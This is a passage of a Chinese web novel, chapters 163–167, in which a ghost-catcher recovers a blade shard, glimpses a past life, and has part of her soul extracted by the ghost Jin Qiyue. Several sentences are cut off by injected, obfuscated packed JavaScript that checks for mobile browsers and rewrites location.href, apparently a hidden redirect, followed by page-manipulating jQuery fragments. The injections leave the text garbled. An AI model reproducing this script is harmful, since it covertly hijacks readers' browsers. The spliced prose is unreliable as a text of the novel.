左轻白从怀中掏出弥月刃刀柄,“不会吧?如果是弥月刃碎片,刀柄会有反应。” 兰殊尔看着天窗,表情凝重,“天窗水太深了,以至于阻隔了刀刃的气息也不是没有可能。” “那怎么办?把水抽干?”左轻白问。 兰殊尔说:“试试。” 左轻白望向兰殊尔:“真能抽?你属抽水泵的?” “我会画涡旋符。”兰殊尔说。 左轻白的表情从惊讶转为震撼再转为崇拜,“你你你……这么高阶的符咒,你真的会画?”左轻白眼中的星星都快冒出来了,看得一旁的路回一脸不悦。左轻白说:“这种高阶符咒我整个师门就只有我师父会画,我还以为会这个的都是头发花白的老头子了。” “在我们那也只有寥寥几个老头子会画。” “那你怎么会?” “我不算全会,我只会一半。” “会一半?” “就是撑不了多久,最多三秒。” “三秒?最多?” “我用涡旋符给你开出一条路来,你能不能在三秒内从天窗下取出弥月刃碎片?” “不行,时间太短了,我的速度没那么快,飞都飞不下去。”左轻白说。 兰殊尔一指路回,面无表情道:“你的助道者不是在这吗?你让助道者帮你提升下法力,速度就快了。你俩多亲几下。” 左轻白:“……” 路回:“……” 兰殊尔不说还好,一说两人哪里还好意思亲? 路回叹了口气,找了块尖锐的石头,对左轻白说:“我放点血给你吧。” 兰殊尔依旧面无表情、波澜不惊,“别不好意思啊,我又不看。” 这人简直毫无情商。 方案敲定,开始行动。 兰殊尔掏出符纸,画出涡旋符,符纸飞到半空,霎时间黑云下沉,飓风呼啸着形成漩涡。 此时,飓风形成的漩涡像个电钻一样从水面一直往下钻,把水往四周逼,中间没有水,是个强劲的空气漩涡,漩涡延伸至天窗深处,等于给人开出了一条道。 漩涡形成后,兰殊尔大喊一声:“就是现在!”左轻白干脆利落地跳了进去。 左轻白一直往下落,周围围着她的都是水,天窗下幽暗得可怕,左轻白亮起照明符,她看到了地下廊道和地下溶洞等喀斯特地下系统,七弯八绕,非常复杂,难怪潜水爱好者困在下面就出不来了。 太神奇了,表面上窄窄的河道或者小小的潭水,底下竟是另一个巨大的世界。 左轻白越落越深,不知道下降了多少米,终于,她怀里的弥月刃刀柄发出尖锐的锐鸣声,果然有一片弥月刃碎片沉在水底。 左轻白举起刀柄,锐鸣声愈发剧烈。突然“嗖”的一下,从一旁的水底溶洞中飞出一块小小的亮片,它被打磨成一块四四方方的小镜子,但它其实不是镜片,而是一块亮得可以用来照镜子的弥月刃碎片。 碎片粘到了刀柄上。 左轻白不敢停留,她抓紧时间,甩出一张飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176822|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行符往上飞。三秒,她只有三秒的时间。 左轻白的目光不经意间扫了一眼刚刚收获的那枚碎片,这碎片真的很亮,亮得能反光,难怪杜广安说它是镜子。突然,左轻白在这块镜子似的碎片上看到了某个一闪而过的画面。 画面中,善渊道人无力地跪倒在地,在他面前,古代着装的左轻白用玄铁重剑刺穿了他的胸膛;善渊道人努力地仰头去看左轻白,可左轻白脸上无悲无喜,相当冷漠;在左轻白身后,金绮月手里玩着几股黑线,她在玩翻绳游戏…… 看到这一幕的左轻白瞳孔骤然一缩,突然感到心脏阵痛,她气息不稳,飞行符差点翻车,与此同时,三秒已过,兰殊尔的涡旋符失效了!这个涡旋符兰殊尔会得不全,是个半吊子,一次失效后他无法立即发起第二次。 周围的水朝左轻白淹了过来。铺天盖地都是水,左轻白赶紧使用避水咒,可天窗跟普通河流不同,这下面水压太强,没过多久避水咒形成的气泡就在高压下破裂了。 左轻白没有坐以待毙,她一边向上游,一边不停地发起避水咒,用尽一切方法自救。 忽然,上方出现了个人影,这人会潜水,他及时拽住了左轻白,带着她往上游,是路回。 “哗啦”一声,左轻白和路回浮出水面。 “张谦”们朝左轻白和路回游过来,左轻白立即一个眼刀飞过去,作为金牌捉鬼师,左轻白很有威慑力,“张谦”们纷纷不敢靠近。 两人上岸后,左轻白把弥月刃碎片从刀柄上取下来,弥月刃碎片寒光闪闪,把月光反射到水里的众“张谦”身上,被反射出来的光照到的“张谦”们一个个消失殆尽了。 163. 共谱华章 “是弥月刃碎片的能量把张谦变成这个样子;也是弥月刃碎片的能量,灭了张谦。”兰殊尔道。 左轻白将刀刃碎片粘回刀柄上,细细地打量,若有所思道:“这刀怎么会这么厉害?” “不厉害怎么杀神通鬼?”兰殊尔说。 “这么厉害的刀,会来自哪?”左轻白自言自语。 解决完天窗的事情后,左轻白和路回回到住处。 左轻白一路无言,看起来心事重重。 这里条件有限,房间不大,但好在有个大阳台,站在阳台上可以看到一轮圆月和圆月下起伏的山峦。 左轻白看着月亮发呆,脑海中浮现她在弥月刃碎片上看到的那一幕——她杀了善渊道人,金绮月站在她身后。 不过那人未必是她,左轻白始终搞不清楚梦境中那个跟她长得一模一样的神力少女到底和自己是什么关系,同样的,她也无法确定与路回长得一模一样的善渊道人到底是不是路回的前世。 一切都是谜团。 左轻白闭上眼,仔细回忆那个画面。 少女杀了善渊道人,表情冷漠,但善渊道人好像并不怪她,而金绮月就站在他们身后玩翻绳。 左轻白忽然想到了什么,心中发凉。左轻白想到金绮月一向以人间疾苦为食,热衷于给人创造苦难,会不会是金绮月操控少女杀了善渊道人? 是了,那个画面里金绮月在玩翻绳,她手指灵活地翻来翻去,操控绳子,她哪是在操控绳子啊?她分明是在操控少女的心智,控制少女杀了善渊道人!而善渊道人那个眼神,没有怪少女的意思,他一定知道真相。 左轻白一头冷汗,有一瞬间左轻白的心脏像被捅了一剑一样痛。 左轻白眉头紧皱,心里乱糟糟地想:这是怎么回事?我为什么会感同身受?这是我的故事吗?可我不是这个世界的人,在我穿来这个世界之前,这个世界怎么会有我的故事? 就在这时,一个人从身后环抱住左轻白。 是路回。 路回把下巴轻轻搭在左轻白肩上,说:“看月亮这么浪漫的事,怎么不叫上我?” 左轻白转了个身,缩在路回怀里,她似乎有些虚弱。 左轻白觉得不够,整个人都想往路回身体里钻,似乎怕路回跑了,她难得在路回面前示弱,路回看着她,眉眼一软。 突然,左轻白主动搂上路回的脖子,热烈地吻上路回的唇,她要确定路回就在自己身边,好好地在自己身边。 左轻白一言不发,她吻了路回的唇,吻了路回的颈,又吻了路回的喉结。 路回低声笑道:“怎么了,我的大明星,这是迫不及待想把怀孕从谣言变成现实吗?” 左轻白一口咬在路回肩膀上,抱紧了路回。 “你别说话。”左轻白说,“让我好好抱抱你。”那个可怕的画面让左轻白现在非常心慌。 路回目光幽深,忽然,他将左轻白横抱起来,抱回房间。 “就抱一下怎么行呢?”路回说。 路回一把左轻白放在床上,左轻白就立即坐起来,搂住路回的脖子,急切地去亲吻路回的唇。路回微愣,问:“你今天怎么这么主动?” “我心里发慌……很慌很慌。”左轻白蹙着眉,说。 左轻白拿起路回的一只手放在自己心口上,道:“你看看是不是?” 路回微讶,然后露出暧昧不明的表情,在左轻白耳边低笑道:“这是哪学来的花样?” “没有学……” 路回堵住了左轻白的唇。 左轻白的眼中倒映出路回的脸,路回从左轻白眼睛里看出了她对自己的渴望。 路回窃喜,表现更佳。两人呼吸交缠,动作更似狂风暴雨。 狂风由急到缓,又由缓转急;细雨与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176823|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴雨交错,伴随春蝉鸣叫。 节奏并非由路回一人把控,左轻白很主动,与路回共谱华章。 “捉鬼师小姐心慌的时候都这么热烈吗?”路回低笑着说,“那我以后得多让你慌一慌。” 直到最后一个音符划过,华章才缓缓落幕。 落幕后,筋疲力尽的左轻白枕着路回的手臂,在想事情。 玄逸的话在左轻白耳边响起:“你跟路回、金绮月、周夙宿命纠缠。” 哪怕左轻白再神经大条,也不可能意识不到自己不是个普通的穿书者。 有联系的,一切都是有联系的,左轻白在脑中梳理。 如果自己就是梦境中那个神力少女,善渊道人就是路回的前世,那么自己与路回早就相识;善渊道人跟天女城有渊源,他与舒瑾安,也就是周夙的前世交好,还在天女城见过金绮月;舒瑾安因金绮月而死,金绮月操控神力少女,也就是自己杀了善渊道人…… 还有那两把玄铁重剑的名字——“刺月”、“弥月”,这一定不是巧合,它们跟弥月刃和金绮月有什么关联? 左轻白自己锻造的那把金色巨剑就叫“刺月”,只不过那是她自己胡乱取的名,就好比女孩子给自己喜爱的芭比娃娃取了个名字一样,左轻白没把这个名字告诉别人,她又没有在出招前喊一声剑名的毛病,所以除了师父师兄外没人知道。 这也不是巧合,左轻白想,全都不是巧合。 这时,路回翻身,搂住了左轻白的腰。两人皮肤相贴,亲密无间。 左轻白转身看他,问:“路回,你还记得500年前吗?” 黑暗中,路回眼中充满了茫然,显然他不知道左轻白在问什么。 左轻白叹了口气,心想自己真是魔障了,正常人谁会记得自己的前世? “没什么,睡吧。”左轻白说。她往路回怀里缩了缩,两人相拥而眠。 164. 又做错什么了吗 从玉峰县回京城,剧组的戏就基本拍完了,回去之后会有一个新闻发布会,用来宣传新剧的。 在回去的路上,左轻白忐忑不安,因为金绮月。 如今左轻白断断续续觉醒了一些记忆,她记起是她杀了路回,金绮月操控了她。 在记忆碎片中,路回、左轻白的容貌跟现在相比变化不大,金绮月为什么没有认出他们? 对此,左轻白觉得不难理解,金绮月不记得了。500年了,金绮月在500年间害过多少人?数不胜数!在她眼里她害死的人都是她的食物,那不过是一棵棵大白菜而已,谁会记得大白菜长什么样?像什么陈青、冯满芦,再过500年,金绮月还会记得陈青、冯满芦长什么样吗?不会记得的! 金绮月害了太多人,也忘了太多人,能够留在她记忆里的就只有鬼村的鬼,因为那是她成鬼的执念。 可是,遗忘不代表不会再想起。 那天晚上在荒地,金绮月想用自创的化鬼术把左轻白变成鬼,反而触发了左轻白体内隐藏的力量,被反噬。 左轻白体内隐藏的力量必然与前世有关,这股力量爆发后,又会不会触发金绮月的回忆,让她想起忘掉的某些人、某些事? 金绮月要是想起了什么,那左轻白对她撒的谎就不攻自破了。 左轻白数了数找到的弥月刃碎片,从归延手上得到一片,大侦探录制现场得到一片、巨婴城得到一片、天窗底又得到一片,总共四片,还没凑齐,对付不了金绮月。 不行,现在还没到跟金绮月撕破脸的时候,金绮月可千万别想起什么来,千万不要怀疑自己。 左轻白双手合十,默念祖师爷保佑。 此时,京城,周夙家。 金绮月今天在,周夙特地把工作都推了,在家陪金绮月。 两人坐在阳台,一边欣赏户外的木棉花一边喝茶。 金绮月在出神。 金绮月想起荒地那一晚,她对左轻白使用化鬼术却被反噬。 小若姐姐体内怎么会有这么强的一股力量?而且……这股力量怎么似曾相识?金绮月想。 金绮月闭上眼,脑海中浮现一个女子的身影,女子天生神力,两只手各提一把重剑朝自己劈来。这好像是500年前的事吧…… 金绮月仔细回忆那女子长什么样,可女子面目模糊,金绮月回忆了很久,实在记不起她的容貌。 若她是500年前的人,500年过去了,我怎么可能还记得她长什么样?金绮月想。 人的记忆会消退,鬼的也会,不会消退的是执念。 金绮月隐隐约约记得,那女子不是一个人,她还有个同伴,同伴是个男的。 一男一女啊……咦,现在的左轻白和路回,不也是一男一女吗? 金绮月眯了眯眼,愈发觉得事情不对,左轻白有问题。 左轻白告诉我她是小若姐姐的转世,如果她是在骗我,她其实是其他身份,那她就死定了,不,死了便宜她,我要她生不如死……可是,如果她不是小若姐姐,她怎么会对村子的一切了如指掌? 金绮月反复思忖,百思不得其解。 “绮月?”周夙的声音传来。 金绮月看向周夙。 “怎么在发呆?”周夙问。 金绮月定定地看他,周夙那张脸虽然长得不错,可总是神情阴郁,显得呆板无趣。金绮月眼珠子骨碌一转,不知怎的邪念一生,起了捉弄之意。 金绮月手肘撑在桌上,手托腮,似笑非笑地问:“发呆怎么了?你敢管我?” “不敢……” “你在窥探我?” “不是……” “你在反驳我?” “不……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194550|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >金绮月小嘴一扁,嗲声嗲气地说:“我最讨厌别人跟我说‘不’了,你一连说了三个,我要罚你。” 说着,金绮月动了动手指,几条黑色的线突然出现,把周夙的手、肩、颈吊了起来,像操控木偶一样提着;几条人面蛇骤然出现,从周夙的脚开始往上爬,一直爬上他的小腿、膝盖、大腿。 周夙倒也有种,丝毫不惧,镇定自若地看着金绮月。 人面蛇爬上周夙的颈,它那张人脸嘴巴一张,吐出的却是一条蛇信子,蛇信子差一点就碰到了周夙的脸。 金绮月眨巴眨巴眼睛,一派天真道:“你一点都不怕呀?” “不怕。”周夙身体被困,可他并不害怕。 “你不怕就没意思了,你这时候就应该大喊大叫,向我求饶。”金绮月。 周夙问:“向你求饶你会高兴吗?” “会啊。” “那我可以向你求饶。你高兴就好。”周夙平静地说。 此话一出,金绮月很不开心,她精致的小脸上眉头皱起,对周夙道:“你这人怎么这么无趣?” 周夙仔细想了想,问:“我又做错什么了吗?” 金绮月走到周夙面前,捏起周夙的下巴,说:“吓你你不叫,欺负你你不生气,无趣得像木头一样,这就是你的错处。” “对不起。” “我还想捉弄你来着,现在是一点兴致都没了。” “那你重来吧。”对待金绮月,周夙的脾气好得可怕。 金绮月拿他没办法,她捏着周夙的脸看了一圈,忽然用逗小猫小狗一样的心态飞速在周夙唇上轻啄了一下,周夙“唰”的一下脸红得跟什么似的。 见周夙的神情终于有了变化,金绮月这才得意地“哈哈”笑出声来。 “问你个事。”金绮月说,“你那个弟弟路回,跟左轻白认识多久了?” 165. 仿佛跨越了百年 周夙想了想,说:“不久,是在那次慈善晚宴上认识的。” “真的?” “真的。那次晚宴本来想替你教训左轻白,出口气,没想到让她攀上了路回。” “你那弟弟,是否表现出过不一般的能力?”金绮月问。 “从未,他除了很有钱外,就是个普通人,左轻白出现后,才发现他是助道者体质。” “真的?”金绮月凑近周夙,眨巴眨巴大眼睛,故作天真道:“不会是你想保护你弟弟,对我有所隐瞒吧?他真的一点异样都没有?” 金绮月露出天真的表情,但天真中又带着一丝骇人的恶毒。 周夙摇头,“没有。” 真的没有吗? 未必。 舒瑾安那一世过后,周夙因促成神通鬼诞生,在地府受了500年的刑。跟金绮月这500年在花花世界游戏不同,周夙的500年是孤寂的,为了抵抗孤独,他只能反复咀嚼舒瑾安那一世的故事,他愈是咀嚼,对那些人和事的记忆就愈发深刻,渐渐的就成了难以消退的执念。 在舒瑾安那一世,周夙并没有见过左轻白,但他见过善渊道人,不过善渊道人总是蒙面,他没见过善渊道人的脸,可他听过善渊道人的声音,周夙一直觉得,路回的声音与善渊道人的声音相似。 不过,这世上声音相似的人那么多,应该只是凑巧而已吧。 这件事周夙不想告诉金绮月,路回待他不错,他也很珍惜这一世这个弟弟,他不希望金绮月伤害路回。 这时,金绮月手机响了,是左轻白打来的电话。 金绮月眼中闪过一丝精光,她把周夙身上的玩意一收,接了左轻白的电话。 电话那头传来左轻白欢快的声音:“绮月,我从玉峰县回来了,我给你带了个礼物,猜猜是什么?” 左轻白根据番外中的描述,学起了小若的语气,学得很像,她来到这个世界后继承了原身的演艺天赋,这天赋给了她很大的帮助。 金绮月眼睛微眯,似笑非笑地问:“是什么礼物呀,小若姐姐?” “是一个龙虾花灯啊!提在手上它的胡须还会动呢。现在很少有人会做这种花灯了,我在这边遇到了个非遗手艺人,是个老爷爷,老爷爷会做,我想起以前在村子的时候,大家都喜欢玩这种花灯,你还死皮赖脸地从我家顺走了一个,这次我带了一个回来给你。”左轻白欢快地说。 左轻白这叫主动出击,原书番外里提到过龙虾花灯,鬼村的小孩都爱玩,金绮月也不例外,于是这次左轻白就带了一个龙虾花灯回来,希望能勾起金绮月的回忆,让金绮月有所触动,从而打消金绮月对自己的怀疑。 左轻白握紧手机,十分紧张地等金绮月的回音,紧张得手心都出了汗。 电话那头,金绮月说:“我已经不玩龙虾花灯了,不过既然是小若姐姐的一片心意,我当然喜欢。” “你喜欢就好。”左轻白马上说,“虽然这个老爷爷做的跟村长爷爷做的不太一样,但两者各有千秋。哎,什么时候有机会,咱俩见一面,我把花灯给你,顺便聊聊天。” 左轻白故意提起村长爷爷,她知道村长爷爷和鬼村是金绮月的软肋。 金绮月说:“过两天是你们剧组的新闻发布会,我去参加。” “剧组新闻发布会?可你没参演啊。” “谁说新闻发布会只能记者和剧组成员去的?我可以当个助力嘉宾,友情出席,支持一波咯。” “好,那你一定要来哦。” “一定。” 在整个通话过程中金绮月语气平和,左轻白没听出什么异样。 左轻白松了一口气,盼望金绮月不要因为荒地那次遭遇对自己的身份有所怀疑。 此时左轻白正坐在沙发上,路回走了过来,也在左轻白身边坐下。 左轻白一看到路回,她举剑杀死路回的画面就在眼前闪现,左轻白心中一痛,突然朝路回扑了过去,搂住对方的脖子。 路回笑道:“从玉峰县回来后,你怎么变得这么黏人?” 左轻白把头埋在路回怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194551|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说:“我黏人你烦我了吗?” 她突然把头抬起,气鼓鼓地对路回说:“不黏人觉得不够爱,黏人就嫌烦,哼,男人就是事多。” 路回委屈道:“我没有说过我烦啊……” 路回抱住左轻白,笑眯眯地在左轻白唇上亲了一下,说道:“你可多黏我点吧,你不黏我就跑去黏鬼去了!” 左轻白搂着路回,也笑嘻嘻地说:“胡说什么呢?我只抓鬼不黏鬼,我只黏你,这辈子只黏你。” 情话嘛,谁说只有男人会说,女人说起来也溜得很。 路回手一顿,望着左轻白的目光热烈了几分。 路回扶着左轻白的腰,他低下头,用自己的额头贴上左轻白的额头,笑意掩饰不住,“你再说一遍。”路回道。 “不说了。”左轻白却说,“这种话说一次就够了。” “再说一遍。”路回眼睛弯成月牙,用哄着求着的语气道:“你再说一遍。” 左轻白被他看得脸红,把头一扭。 路回的手指轻挠左轻白的腰,挠得左轻白发痒,“你再不说,我只好用强的了。”路回开玩笑道。 左轻白忍不住发笑,“就你还对我用强?拉倒吧!要是没有我的默许,你能把我怎么样?” “所以,每一次咱俩都是共犯,对不对?”路回把左轻白推倒,压在沙发上。 左轻白笑着,她伸手捧起路回的脸,仔细地看。看了一圈后,左轻白心想经历了这么多次轮回,这人果真什么都不记得了,不过,别说他,现在自己不也只记得零零碎碎的几个片段吗? 路回察觉到左轻白在走神,问:“你在想什么?” 左轻白摇头。 路回俯下身,温柔地说:“跟我在一起就别想别的了,尤其别想鬼。你想我就好了。” 说着,路回亲上了左轻白的唇,两人深深地吻了起来。 这一吻,仿佛跨越了百年。 不久后,剧组新闻发布会在某五星级酒店的高级会议厅举行,左轻白作为女主演出席。 166. 一魂一魄 金绮月也来了。 金绮月带着口罩,十分低调,她是来友情助力的,不抢主创风头。 有几个金绮月的粉丝追踪到了金绮月的行程,她们追到这里,给金绮月送了玩偶、鲜花还有手写信,金绮月笑眯眯地收下,粉丝们见金绮月对她们笑了,激动地爆发出尖叫。 金绮月不排斥粉丝们的追星行为,相反,她觉得很新奇。金绮月之所以选择明星这个职业是为了体验,这个职业是新时代的产物,旧时代没有,所以对金绮月来说很新奇,当然旧时代也有名角一类的人,可那完全不一样,旧时代的名角终究还是戏子,逃不出下九流的命运,明星的地位要高得多,众星捧月万众瞩目,被粉丝爱着、追着,金绮月很受用。 忽然门口一阵嘈杂,一个疯疯傻傻的哑巴被保安拦下,这哑巴曾是个有名的娱记,曝光过很多大腕的私料,不知为何不久前突然疯了,癫狂中自己割下自己的舌头,成了个哑巴。 这娱记被几个保安强行带走,狼狈不堪,这人没疯之前很嚣张,如今落到这副田地,旁人都觉得唏嘘。 金绮月手捧粉丝送的礼物,漫不经心地朝门口瞥了一眼,目光像是在看蝼蚁。 这娱记是金绮月搞疯的。这名娱记跟踪金绮月,想拍金绮月和周夙的隐私照,于是金绮月抽走了他的一魂一魄,让他失去智商,把他搞疯了。 你问金绮月为什么不杀他而是把他弄疯?因为死亡从不是最痛苦的,没有尊严地活着才是长久的折磨,这个娱记在记者圈内颇有地位,也算是有头有脸,让一个曾经有头有脸的人物变成个疯疯癫癫的傻子,到处丢人显眼、出乖露丑,这不比直接死掉更悲哀? 金绮月折磨人折磨了500年,没有人比金绮月更懂如何折磨人。 发布会正式开始之前,金绮月去了趟后台休息室,见到了左轻白。 左轻白亲昵地给了金绮月一个拥抱,跟她聊起自己在玉峰县的见闻,并把特地带给她的龙虾花灯拿出来,送给金绮月。 “这个老爷爷手艺不错,不比村长爷爷做的差。”左轻白笑着说。 金绮月看着龙虾花灯出了神,说道:“做得挺好的,只是……已经不是我小时候玩的那个了。” “人要往前看。”左轻白说。 金绮月笑道:“人要往前看,可我是鬼,不是人。” 鬼不是人,人的执念还有机会消除,可鬼是因执念才成的鬼,所以注定了鬼会永远困在执念里。 金绮月看着左轻白那张笑脸,看了很久很久。 金绮月在心里说:虽然她有疑点,但我打心底里希望她是小若姐姐。500年了,我想了很多办法复活村长爷爷他们,可始终不能成功。如果她真是小若姐姐,至少能让我看到一点盼头。 金绮月眼神黯了黯,盯着左轻白,想:左轻白,你不要让我失望,好吗? 金绮月把龙虾花灯收下,对左轻白说:“姐姐送的礼物我很喜欢,谢谢姐姐。” 金绮月坐在左轻白身旁,看似不经意地跟左轻白牵手,突然,她扣住了左轻白的手腕。 霎时间黑气蔓延,金绮月的女童法相出现,一只巨大的黑手悬在了左轻白头顶上方,黑手猛的抓住左轻白的脑袋,往左轻白身体里灌输鬼气,鬼气在左轻白身体里乱窜、挤压。左轻白饱受折磨,身体像是要爆炸了一样, 金绮月是故意的,金绮月想通过这种方式把左轻白身体里隐藏的那股神秘力量逼出来。 金绮月黑气弥漫的脸凑近左轻白,幽幽地说:“你不是小若姐姐吧?荒地那次被反噬后,我回忆了许久,我觉得你不像小若姐姐,倒是像另一个故人。” 金绮月的手指托起左轻白的下巴,说:“时间太久,我记不清她的脸,只记得她跟我作对,她手提两把玄铁剑,剑很大,也很重……哎,对了,你是不是也有一把巨剑来着?你那把剑叫什么名字?” “没……没名字。”左轻白艰难地说。 荒地中的那股力量始终逼不出来,金绮月抓着左轻白手的力道加重,邪笑道:“你总是隐瞒,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205414|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怎么办才好?” 她想了想,露出恶作剧一样的笑容,说:“姐姐,你见过傻子吧?聪明人擅于隐瞒,只有傻子才最赤诚,问他什么就说什么。姐姐,要不我把你变成傻子吧?这样你就能说实话了。” 左轻白瞪大眼睛,惊恐道:“不行,金绮月你……” 金绮月笑道:“我把你的一魂一魄抽出来,让你失去智商,你就会变得疯傻。不过放心,我不会让你傻太久的,一会,只要一会,很快我就会把你的一魂一魄还回去,让你恢复正常。” 金绮月露出一个邪里邪气的笑容。 悬在左轻白头顶的那双黑色大手猛然一抓,左轻白只感到有千百根钢针从天灵盖往自己脑袋里刺。 左轻白赶紧施法抵抗,尽管如今左轻白修为不弱,可自从金绮月从悼青山得到那棵怪树后,金绮月的鬼力就提升了相当一大截,与左轻白拉开距离。 你在进步,别人也在进步。 大手再一收紧,左轻白的身体传来撕裂的疼痛,痛到最后左轻白失去了意识,头脑一片空白。 一缕青烟从左轻白身体中冒出,是左轻白的一魂一魄。 金绮月抽走了左轻白的一魂一魄,收进一个香水瓶样式的小瓶子里。没了一魂一魄的左轻白目光呆滞,像个任人摆布的娃娃,这时候问她任何问题她都会说实话。 金绮月唇角一勾,满意地看着左轻白。 与此同时,隔壁休息室。 隔壁休息室的门从里面反锁,任何人都进不去,一个年轻男人盘膝而坐,在他面前的地上放着一个香炉,香炉上插着一支香,这香不太正常,别的香要么是黄色要么是红色,这支香却是泛着荧光的绿色,更诡异的是,香的顶端不见明火,可它已经在烧了。 白烟袅袅,这香烧出来的烟也比一般的香多。 年轻男人盘膝入定,一魂一魄从他头顶钻了出来,在白烟中滚了一圈,消除气息后悄悄地从门缝钻了出去,钻进了隔壁休息室,也就是金绮月和左轻白所在的房间。 167. 最重要的小妹妹 此时,路回远在他的办公室办公。作为一个热爱工作的非典型富二代,因为表现良好,路回的爸妈已经把国内大部分业务交给了他。 而就在左轻白一魂一魄被抽取的同时,办公室里的路回突然脑袋剧烈一痛。这疼痛简直要命,路回疼得往桌上一扑,桌上的办公文件散了一地。 他这疼痛来得古怪,左边脑袋不疼,右边脑袋疼得要人命,右边太阳穴“突突突突”的,像要爆了一样。 “啊!”路回捂着脑袋,脸皱成一团。 他闭上眼睛,混乱中他看到了幻象。 幻象是一幕熟悉又陌生的画面,路回看到自己和左轻白在一个山间道观中玩乐,两人都穿着古代着装,自己穿的还是道士道袍。 这是什么?cosplay吗? 左轻白笑嘻嘻地朝路回伸出手,说:“既然你会看手相,那你帮我也看看吧。” “好啊,你要看什么?”幻象里的路回气质出尘,说话语气清冷。 左轻白说:“就看我以后的夫婿长什么样吧。” 路回耳朵一红,但依旧保持着清清冷冷的模样。 左轻白欢快地说:“我希望我以后的夫婿能说会道、会哄人、会讲笑话给我听,这样日子才过得快乐。” 路回听了,眼中闪过不高兴。 路回装模作样地看了一眼左轻白的手相——其实他根本没认真看,然后矜持道:“你日后的夫婿不是这样的。” “啊?”左轻白露出微微失落的表情,“不是吧……他是个闷葫芦吗?” “也没那么闷。” “长得好看吗?” “还行吧。” “他是干什么的?” “他是……是个……”路回的耳朵红得像被烫红了的猪耳朵,“道士”两个字已经到了嘴边,却死活说不出口。 左轻白眨巴眨巴眼睛看他,像是期待他的回答。 路回忽然起身,转身走了,只急匆匆留下一句:“我……我要练功了。” 真怂。 办公室里,路回猛然睁眼,他最近总是会想起这些记忆碎片,但想起之后,又会渐渐遗忘。可之前想起都不会头痛,为什么这次头痛这么剧烈?事出反常必有妖,是出什么事了吗? “左轻白……”路回嘴里念着他女朋友的名字。 路回的一张脸容貌没变,但又好像发生了很大变化,他的左边脸还是那个娇生惯养、气质矜贵的富二代少爷,右边脸却变成了回忆中那个清冷出尘、仙风道骨的小道士。 路回猛的瞳孔一缩,强烈的直觉在提醒他:左轻白有危险。 “萧潇!”路回大呼助理的名字,助理连忙跑进办公室。 “左轻白是不是在开新闻发布会?备车,我要去现场。”路回忍着头痛,艰难地站了起来。 另一边,新闻发布会后台,休息室。 因为消除了气息,那神秘男人的一魂一魄得以避开金绮月,进入左轻白的身体,补齐了左轻白的魂魄。 补齐魂魄后,左轻白一个激灵恢复智商,但她在脑海中听到了另一个人的声音。 是个男人的声音,声线非常好听,像是唱歌的,左轻白觉得有些熟悉,但忘了在哪听过。男人对左轻白说:“左小姐,你继续装傻,骗过金绮月。” 左轻白不语,保持目光呆滞的样子,此时原身留给她的演戏天赋再次发挥了作用,左轻白演傻子演得很像,骗过了金绮月。 金绮月挑起左轻白的下巴,冷冷地问:“你到底是不是小若姐姐?” “是。”左轻白呆滞地说,“我叫小若,我一生孤苦,正值青春时死在雪地里,化作厉鬼,鬼村收留了我,鬼村有很多可爱的鬼,有村长爷爷,有刘大婶,我很喜欢他们,我把他们看作是家人。” 左轻白露出傻笑,继续傻里傻气地说:“鬼村只有一个叫金绮月的孩子不是鬼,我们都知道她不是鬼,但我们都不告诉她,因为村长爷爷不让我们说。” 金绮月又问:“你现在是捉鬼师,会不会杀我?” “我会杀别的鬼,可绮月例外,绮月是村子里的小妹妹,也是我最重要的小妹妹,我会阻止绮月做一些残忍的事情,但我永永远远不会杀绮月。” 